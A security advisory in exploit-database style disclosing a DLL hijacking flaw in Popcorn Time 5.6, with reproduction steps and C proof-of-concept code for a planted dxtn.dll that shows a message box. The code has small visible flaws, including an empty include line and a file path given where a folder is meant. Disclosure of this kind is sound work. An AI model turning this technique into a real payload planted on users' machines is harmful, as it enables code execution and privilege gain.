===================================================== [#] Exploit Title : Popcorn Time 5.6 - DLL Hijacking Vulnerability [#] Date Discovered : 2016-12-20 [#] Affected Product(s): Popcorn Time v5.6 - Software [#] Exploitation Technique: Local [#] Severity Level: Medium [#] Tested OS : Windows 7 ===================================================== [#] Product & Service Introduction: =================================== Popcorn Time is a free software for streaming video over the internet via the peer-to-peer network protocol BitTorrent. It is distributed under the GPLv3 license. It allows to search among the videos available on the BitTorrent network and to visualize them instantly in high definition with subtitles in different languages. (Copy of the Vendor Homepage: https://popcorn-time.to/ ) [#] Technical Details & Description: ==================================== A local dll injection vulnerability has been discovered in the official Popcorn Time v5.6 software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] Popcorn Time Vulnerable Version(s): [+] v5.6 Vulnerable Libraries: [+] dxtn.dll [#] Proof of Concept (PoC): =========================== The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to dxtn.dll 2. Copy dxtn.dll to C:\Program Files\Popcorn Time\PopcornTimeDesktop.exe 3. Launch PopcornTimeDesktop.exe 4. MessageBox Executed -- PoC Exploit -- #include #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } [#] Vulnerability Disclosure Timeline: ====================================== 2016-12-20 : Discovery of the Vulnerability 2016-12-20 : Contact the Vendor (No Response) 2016-12-27 : Public Disclosure [#] Disclaimer: =============== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/ 0day.today/author/27461 Copyright (c) 2016 | ZwX - Security Researcher (Software & web application)